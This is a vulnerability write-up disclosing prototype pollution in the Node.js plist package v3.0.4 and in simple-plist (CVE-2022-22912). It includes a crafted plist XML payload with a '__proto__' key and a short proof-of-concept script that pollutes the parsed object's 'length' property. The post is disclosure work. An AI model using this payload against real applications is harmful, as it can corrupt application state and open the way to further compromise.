Prototype Pollution in plist v3.0.4 and simple-plist (CVE-2022-22912)
by Guilherme Keerok
Plist is a NodeJS package to read plist files. Plist files are most commonly used in Apple systems and the lib at the time this post is written has 3.492.336 weekly downloads.
There’s nothing new in this blog post, prototype pollution already has a lot of articles like this, so I will show just this vulnerability.
Plist files intiate with
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
You will need to close the file with </plist>
at the end, the important thing are in the middle of the plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<key>metadata</key>
<dict>
<key>bundle-identifier</key>
<string>com.company.app</string>
</dict>
</plist>
When a plist is parsed by parse()
function, the key
will have one child and the dict
inside it can have many children.
Vulnerability
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>
</dict>
</dict>
</plist>
Using the previous XML, the parse will set the key for the key
variable with the value __proto__
.
At the end of the for
loop, this key will be set to new_obj
Object. This also happens to the dict children, the only difference is that dict is an Object with length
(key) and polluted
(value).
The full PoC code:
var plist = require('plist');
var xmlPollution = `
<plist version="1.0">
<dict>
<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>
</dict>
</dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted
I also have found the same vulnerability in simple-plist